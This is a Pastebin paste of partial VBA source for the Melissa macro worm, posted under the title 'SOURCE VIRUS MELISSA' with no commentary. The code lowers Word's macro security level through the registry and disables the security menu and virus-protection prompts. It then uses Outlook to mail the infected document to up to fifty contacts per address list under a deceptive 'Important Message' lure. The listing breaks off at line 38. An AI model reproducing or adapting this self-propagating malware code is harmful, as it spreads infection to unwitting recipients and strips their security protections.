supermanavc

SOURCE VIRUS MELISSA

May 19th, 2013
227
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Private Sub Document_Open()
  2. On Error Resume Next
  3. If System.PrivateProfileString(“”,
  4. “HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) <> “”
  5. Then
  6. CommandBars(“Macro”).Controls(“Security…”).Enabled = False
  7. System.PrivateProfileString(“”,
  8. “HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) = 1&
  9. Else
  10. CommandBars(“Tools”).Controls(“Macro”).Enabled = False
  11. Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1):
  12. Options.SaveNormalPrompt = (1 – 1)
  13. End If
  14. Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
  15. Set UngaDasOutlook = CreateObject(“Outlook.Application”)
  16. Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)
  17. If System.PrivateProfileString(“”,
  18. “HKEY_CURRENT_USER\Software\Microsoft\Office\”, “Melissa?”) <> “… by Kwyjibo”
  19. Then
  20. If UngaDasOutlook = “Outlook” Then
  21. DasMapiName.Logon “profile”, “password”
  22. For y = 1 To DasMapiName.AddressLists.Count
  23. Set AddyBook = DasMapiName.AddressLists(y)
  24. x = 1
  25. Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
  26. For oo = 1 To AddyBook.AddressEntries.Count
  27. Peep = AddyBook.AddressEntries(x)
  28. BreakUmOffASlice.Recipients.Add Peep
  29. x = x + 1
  30. If x > 50 Then oo = AddyBook.AddressEntries.Count
  31. Next oo
  32. BreakUmOffASlice.Subject = “Important Message From ” &
  33. Application.UserName
  34. BreakUmOffASlice.Body = “Here is that document you asked for … don’t
  35. show anyone else Wink”
  36. BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
  37. BreakUmOffASlice.Send
  38. Peep = “”
RAW Paste Data